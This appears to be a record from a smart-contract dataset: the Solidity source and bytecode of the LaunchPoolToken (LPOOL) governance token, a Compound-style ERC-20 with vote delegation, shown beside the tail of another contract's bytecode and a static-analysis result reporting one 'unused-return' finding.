165c57829003601f168201915b505050505081525050905080606001518151826020015183604001519299919850965090945092505050565b600160a060020a03166000908152600260209081526040808320546001909252909120540190565b60006116d76126eb565b60005433600160a060020a039081169116146116f257600080fd5b608060405190810160405280602060405190810160405280600081525081526020016020604051908101604052806000815250815260200160206040519081016040528060008152508152602001848152509050806008856040518082805190602001908083835b602083106117795780518252601f19909201916020918201910161175a565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040519081900390208151819080516117c192916020019061272b565b506020820151816001019080516117dc92916020019061272b565b506040820151816002019080516117f792916020019061272b565b5060608201518160030190805161181292916020019061272b565b50905050836040518082805190602001908083835b602083106118465780518252601f199092019160209182019101611827565b6001836020036101000a038019825116818451161790925250505091909101925060409150505180910390207f63e2fbacbff1e7ca6da3ea228700a56d02a54633e433af07b14091caf313e0e060405160405180910390a25060019392505050565b60005433600160a060020a039081169116146118c357600080fd5b60005460a060020a900460ff16156118da57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600054600160a060020a031681565b6000806119466126d9565b60005433600160a060020a0390811691161461196157600080fd5b6008856040518082805190602001908083835b602083106119935780518252601f199092019160209182019101611974565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206002019150818054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a605780601f10611a3557610100808354040283529160200191611a60565b820191906000526020600020905b815481529060010190602001808311611a4357829003601f168201915b5050505050905080511515611bd757836008866040518082805190602001908083835b60208310611aa25780518252601f199092019160209182019101611a83565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020600201908051611ae992916020019061272b565b50836040518082805190602001908083835b60208310611b1a5780518252601f199092019160209182019101611afb565b6001836020036101000a03801982511681845116179092525050509190910192506040915050518091039020856040518082805190602001908083835b60208310611b765780518252601f199092019160209182019101611b57565b6001836020036101000a038019825116818451161790925250505091909101925060409150505180910390207fbd3b2c44b0a55bd3130934b88a084ca3c6245d836b50e48f318b83b60f5f435e60405160405180910390a360019250611bdc565b600092505b505092915050565b60408051908101604052600481527f4358544300000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515611c3257600080fd5b600160a060020a033316600090815260016020526040902054821115611c5757600080fd5b600160a060020a033316600090815260016020526040902054611c80908363ffffffff61268816565b600160a060020a033381166000908152600160205260408082209390935590851681522054611cb5908363ffffffff61269a16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60008054819033600160a060020a03908116911614611d3457600080fd5b600554600160a060020a031660009081526001602052604090205485901015611d5c57600080fd5b8251845114611d6a57600080fd5b5060005b8351811015611e3057611d86838281518110610fd557fe5b60016000868481518110611d9657fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055838181518110611dc657fe5b90602001906020020151600554600160a060020a0391821691167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858481518110611e0d57fe5b9060200190602002015160405190815260200160405180910390a3600101611d6e565b600554600160a060020a0316600090815260016020526040902054611e5b908663ffffffff61268816565b50600195945050505050565b600160a060020a031660009081526002602052604090205490565b664325732a41400081565b600080611e986126d9565b60005433600160a060020a03908116911614611eb357600080fd5b6008856040518082805190602001908083835b60208310611ee55780518252601f199092019160209182019101611ec6565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206001019150818054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611fb25780601f10611f8757610100808354040283529160200191611fb2565b820191906000526020600020905b815481529060010190602001808311611f9557829003601f168201915b5050505050905080511515611bd757836008866040518082805190602001908083835b60208310611ff45780518252601f199092019160209182019101611fd5565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060010190805161203b92916020019061272b565b50836040518082805190602001908083835b6020831061206c5780518252601f19909201916020918201910161204d565b6001836020036101000a03801982511681845116179092525050509190910192506040915050518091039020856040518082805190602001908083835b602083106120c85780518252601f1990920191602091820191016120a9565b6001836020036101000a038019825116818451161790925250505091909101925060409150505180910390207fd39b770e3e7a7207e17fcabc45633511b959fc1f03b8d274f17c21ecb409e1ca60405160405180910390a360019250611bdc565b6000805460a060020a900460ff161561214157600080fd5b600160a060020a03338116600090815260046020908152604080832093871683529290522054612177908363ffffffff61269a16565b600160a060020a0333811660008181526004602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b6000806121ee6126d9565b60005433600160a060020a0390811691161461220957600080fd5b6008856040518082805190602001908083835b6020831061223b5780518252601f19909201916020918201910161221c565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206000019150818054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123085780601f106122dd57610100808354040283529160200191612308565b820191906000526020600020905b8154815290600101906020018083116122eb57829003601f168201915b5050505050905080511515611bd757836008866040518082805190602001908083835b6020831061234a5780518252601f19909201916020918201910161232b565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405190819003902090805161238f92916020019061272b565b50836040518082805190602001908083835b602083106123c05780518252601f1990920191602091820191016123a1565b6001836020036101000a03801982511681845116179092525050509190910192506040915050518091039020856040518082805190602001908083835b6020831061241c5780518252601f1990920191602091820191016123fd565b6001836020036101000a038019825116818451161790925250505091909101925060409150505180910390207fd41e249605eb6c6e38b56dcce49c445565d06b9b36427510ab6ac5b5aaf2e1eb60405160405180910390a360019250611bdc565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b6000805433600160a060020a039081169116146124c457600080fd5b60008054600160a060020a0316815260026020526040902054839010156124ea57600080fd5b60008054600160a060020a0316815260026020526040902054612513908463ffffffff61268816565b60008054600160a060020a0390811682526002602052604080832093909355861681522054612548908463ffffffff61269a16565b600160a060020a0385166000908152600260209081526040808320939093556009815282822085835290522054612585908463ffffffff61269a16565b600160a060020a0385166000818152600960209081526040808320878452909152908190209290925584917f029d06ff78b8c68fca5225af637c626c0176c9fcaa163beec8e558d4c3ae65b69085905190815260200160405180910390a35060019392505050565b60005433600160a060020a0390811691161461260857600080fd5b600160a060020a038116151561261d57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008282111561269457fe5b50900390565b6000828201838110156126a957fe5b9392505050565b8154818355818115116126d4576000838152602090206126d49181019083016127a9565b505050565b60206040519081016040526000815290565b6080604051908101604052806126ff6126d9565b815260200161270c6126d9565b81526020016127196126d9565b81526020016127266126d9565b905290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061276c57805160ff1916838001178555612799565b82800160010185558215612799579182015b8281111561279957825182559160200191906001019061277e565b506127a59291506127a9565b5090565b610c1491905b808211156127a557600081556001016127af5600a165627a7a723058209de2f24da32cd17a07238a9307eee485b523ba31cc64c6ec2d030ab433fda6a10029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
283
0x6149c26cd2f7b5ccdb32029af817123f6e37df5b
pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // Copyright 2020 Compound Labs, Inc. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. contract LaunchPoolToken { /// @notice EIP-20 token name for this token string public constant name = "Launchpool token"; /// @notice EIP-20 token symbol for this token string public constant symbol = "LPOOL"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply; /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Fuel token * @param initialSupply The initial supply minted at deployment * @param account The initial account to grant all the tokens */ constructor(uint initialSupply, address account) public { totalSupply = safe96(initialSupply, "Token::constructor:amount exceeds 96 bits"); balances[account] = uint96(initialSupply); emit Transfer(address(0), account, initialSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Token::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Burn `amount` tokens * @param rawAmount The number of tokens to burn */ function burn(uint rawAmount) external { uint96 amount = safe96(rawAmount, "Token::burn: amount exceeds 96 bits"); _burnTokens(msg.sender, amount); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Token::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Token::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Token::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Token::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Token::delegateBySig: invalid nonce"); require(now <= expiry, "Token::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Token::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Token::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Token::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Token::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Token::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _mintTokens(address dst, uint96 amount) internal { require(dst != address(0), "Token::_mintTokens: cannot transfer to the zero address"); uint96 supply = safe96(totalSupply, "Token::_mintTokens: totalSupply exceeds 96 bits"); totalSupply = add96(supply, amount, "Token::_mintTokens: totalSupply exceeds 96 bits"); balances[dst] = add96(balances[dst], amount, "Token::_mintTokens: transfer amount overflows"); emit Transfer(address(0), dst, amount); _moveDelegates(address(0), delegates[dst], amount); } function _burnTokens(address src, uint96 amount) internal { uint96 supply = safe96(totalSupply, "Token::_burnTokens: totalSupply exceeds 96 bits"); totalSupply = sub96(supply, amount, "Token::_burnTokens:totalSupply underflow"); balances[src] = sub96(balances[src], amount, "Token::_burnTokens: amount overflows"); emit Transfer(src, address(0), amount); _moveDelegates(delegates[src], address(0), amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Token::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Token::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Token::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461027d578063c3cda52014610290578063dd62ed3e146102a3578063e7a324dc146102b6578063f1127ed8146102be5761012c565b806370a082311461021c578063782d6fe11461022f5780637ecebe001461024f57806395d89b4114610262578063a9059cbb1461026a5761012c565b8063313ce567116100f4578063313ce5671461019f57806342966c68146101b4578063587cde1e146101c95780635c19a95c146101e95780636fcfff45146101fc5761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461016f57806320606b701461018457806323b872dd1461018c575b600080fd5b6101396102df565b604051610146919061152f565b60405180910390f35b61016261015d3660046113a6565b61030b565b60405161014691906114b5565b6101776103ca565b60405161014691906114c0565b6101776103d0565b61016261019a366004611366565b6103f4565b6101a761053b565b6040516101469190611785565b6101c76101c236600461146e565b610540565b005b6101dc6101d7366004611317565b610574565b60405161014691906114a1565b6101c76101f7366004611317565b61058f565b61020f61020a366004611317565b61059c565b6040516101469190611755565b61017761022a366004611317565b6105b4565b61024261023d3660046113a6565b6105d8565b6040516101469190611793565b61017761025d366004611317565b6107ef565b610139610801565b6101626102783660046113a6565b610822565b61024261028b366004611317565b61085e565b6101c761029e3660046113d0565b6108cf565b6101776102b1366004611332565b610add565b610177610b11565b6102d16102cc36600461142f565b610b35565b604051610146929190611766565b6040518060400160405280601081526020016f2630bab731b43837b7b6103a37b5b2b760811b81525081565b6000806000198314156103215750600019610346565b610343836040518060600160405280602681526020016118a060269139610b6a565b90505b3360008181526001602090815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103b6908590611793565b60405180910390a360019150505b92915050565b60005481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6001600160a01b03831660009081526001602090815260408083203380855290835281842054825160608101909352602680845291936001600160601b0390911692859261044c92889291906118a090830139610b6a565b9050866001600160a01b0316836001600160a01b03161415801561047957506001600160601b0382811614155b156105235760006104a383836040518060600160405280603e815260200161180e603e9139610b99565b6001600160a01b038981166000818152600160209081526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610519908590611793565b60405180910390a3505b61052e878783610bd8565b5060019695505050505050565b601281565b60006105648260405180606001604052806023815260200161184c60239139610b6a565b90506105703382610d83565b5050565b6003602052600090815260409020546001600160a01b031681565b6105993382610eb5565b50565b60056020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600260205260409020546001600160601b031690565b60004382106106025760405162461bcd60e51b81526004016105f990611582565b60405180910390fd5b6001600160a01b03831660009081526005602052604090205463ffffffff16806106305760009150506103c4565b6001600160a01b038416600090815260046020908152604080832063ffffffff6000198601811685529252909120541683106106ac576001600160a01b03841660009081526004602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506103c4565b6001600160a01b038416600090815260046020908152604080832083805290915290205463ffffffff168310156106e75760009150506103c4565b600060001982015b8163ffffffff168163ffffffff1611156107aa57600282820363ffffffff160481036107196112e9565b506001600160a01b038716600090815260046020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b03169181019190915290871415610785576020015194506103c49350505050565b805163ffffffff1687111561079c578193506107a3565b6001820392505b50506106ef565b506001600160a01b038516600090815260046020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60066020526000908152604090205481565b60405180604001604052806005815260200164131413d3d360da1b81525081565b6000806108478360405180606001604052806027815260200161194c60279139610b6a565b9050610854338583610bd8565b5060019392505050565b6001600160a01b03811660009081526005602052604081205463ffffffff16806108895760006108c8565b6001600160a01b0383166000908152600460209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03165b9392505050565b60408051808201909152601081526f2630bab731b43837b7b6103a37b5b2b760811b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fdd4b7bd4d33233980ebcf51576dc561a0606dd193cc63dff16467461c11f4967610943610f3f565b3060405160200161095794939291906114ed565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016109a894939291906114c9565b604051602081830303815290604052805190602001209050600082826040516020016109d5929190611486565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610a129493929190611511565b6020604051602081039080840390855afa158015610a34573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a675760405162461bcd60e51b81526004016105f990611684565b6001600160a01b03811660009081526006602052604090208054600181019091558914610aa65760405162461bcd60e51b81526004016105f9906116cb565b87421115610ac65760405162461bcd60e51b81526004016105f99061170e565b610ad0818b610eb5565b505050505b505050505050565b6001600160a01b0391821660009081526001602090815260408083209390941682529190915220546001600160601b031690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600460209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610b915760405162461bcd60e51b81526004016105f9919061152f565b509192915050565b6000836001600160601b0316836001600160601b031611158290610bd05760405162461bcd60e51b81526004016105f9919061152f565b505050900390565b6001600160a01b038316610bfe5760405162461bcd60e51b81526004016105f9906115ca565b6001600160a01b038216610c245760405162461bcd60e51b81526004016105f990611627565b6001600160a01b038316600090815260026020908152604091829020548251606081019093526037808452610c6f936001600160601b0390921692859291906117d790830139610b99565b6001600160a01b03848116600090815260026020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526031808452610cd7949190911692859290919061186f90830139610f43565b6001600160a01b038381166000818152600260205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d44908590611793565b60405180910390a36001600160a01b03808416600090815260036020526040808220548584168352912054610d7e92918216911683610f7f565b505050565b6000610da96000546040518060600160405280602f8152602001611973602f9139610b6a565b9050610dce81836040518060600160405280602881526020016119c660289139610b99565b6001600160601b0390811660009081556001600160a01b038516815260026020908152604091829020548251606081019093526024808452610e2094919091169286929091906119a290830139610b99565b6001600160a01b03841660008181526002602052604080822080546001600160601b0319166001600160601b03959095169490941790935591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e87908690611793565b60405180910390a36001600160a01b03808416600090815260036020526040812054610d7e92169084610f7f565b6001600160a01b03808316600081815260036020818152604080842080546002845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610f39828483610f7f565b50505050565b4690565b6000838301826001600160601b038087169083161015610f765760405162461bcd60e51b81526004016105f9919061152f565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610faa57506000816001600160601b0316115b15610d7e576001600160a01b03831615611062576001600160a01b03831660009081526005602052604081205463ffffffff169081610fea576000611029565b6001600160a01b0385166000908152600460209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b9050600061105082856040518060600160405280602981526020016118fb60299139610b99565b905061105e8684848461110d565b5050505b6001600160a01b03821615610d7e576001600160a01b03821660009081526005602052604081205463ffffffff16908161109d5760006110dc565b6001600160a01b0384166000908152600460209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000611103828560405180606001604052806028815260200161192460289139610f43565b9050610ad5858484845b6000611131436040518060600160405280603581526020016118c6603591396112c2565b905060008463ffffffff1611801561117a57506001600160a01b038516600090815260046020908152604080832063ffffffff6000198901811685529252909120548282169116145b156111d9576001600160a01b0385166000908152600460209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b03851602179055611278565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600483528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600590935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516112b39291906117a7565b60405180910390a25050505050565b600081600160201b8410610b915760405162461bcd60e51b81526004016105f9919061152f565b604080518082019091526000808252602082015290565b80356001600160a01b03811681146103c457600080fd5b600060208284031215611328578081fd5b6108c88383611300565b60008060408385031215611344578081fd5b61134e8484611300565b915061135d8460208501611300565b90509250929050565b60008060006060848603121561137a578081fd5b8335611385816117c1565b92506020840135611395816117c1565b929592945050506040919091013590565b600080604083850312156113b8578182fd5b6113c28484611300565b946020939093013593505050565b60008060008060008060c087890312156113e8578182fd5b6113f28888611300565b95506020870135945060408701359350606087013560ff81168114611415578283fd5b9598949750929560808101359460a0909101359350915050565b60008060408385031215611441578182fd5b61144b8484611300565b9150602083013563ffffffff81168114611463578182fd5b809150509250929050565b60006020828403121561147f578081fd5b5035919050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b9384526001600160a01b039290921660208401526040830152606082015260800190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b8181101561155b5785810183015185820160400152820161153f565b8181111561156c5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526028908201527f546f6b656e3a3a6765745072696f72566f7465733a206e6f74207965742064656040820152671d195c9b5a5b995960c21b606082015260800190565b6020808252603d908201527f546f6b656e3a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207460408201527f72616e736665722066726f6d20746865207a65726f2061646472657373000000606082015260800190565b6020808252603b908201527f546f6b656e3a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207460408201527f72616e7366657220746f20746865207a65726f20616464726573730000000000606082015260800190565b60208082526027908201527f546f6b656e3a3a64656c656761746542795369673a20696e76616c6964207369604082015266676e617475726560c81b606082015260800190565b60208082526023908201527f546f6b656e3a3a64656c656761746542795369673a20696e76616c6964206e6f6040820152626e636560e81b606082015260800190565b60208082526027908201527f546f6b656e3a3a64656c656761746542795369673a207369676e617475726520604082015266195e1c1a5c995960ca1b606082015260800190565b63ffffffff91909116815260200190565b63ffffffff9290921682526001600160601b0316602082015260400190565b60ff91909116815260200190565b6001600160601b0391909116815260200190565b6001600160601b0392831681529116602082015260400190565b6001600160a01b038116811461059957600080fdfe546f6b656e3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365546f6b656e3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365546f6b656e3a3a6275726e3a20616d6f756e7420657863656564732039362062697473546f6b656e3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773546f6b656e3a3a617070726f76653a20616d6f756e7420657863656564732039362062697473546f6b656e3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473546f6b656e3a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773546f6b656e3a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773546f6b656e3a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473546f6b656e3a3a5f6275726e546f6b656e733a20746f74616c537570706c7920657863656564732039362062697473546f6b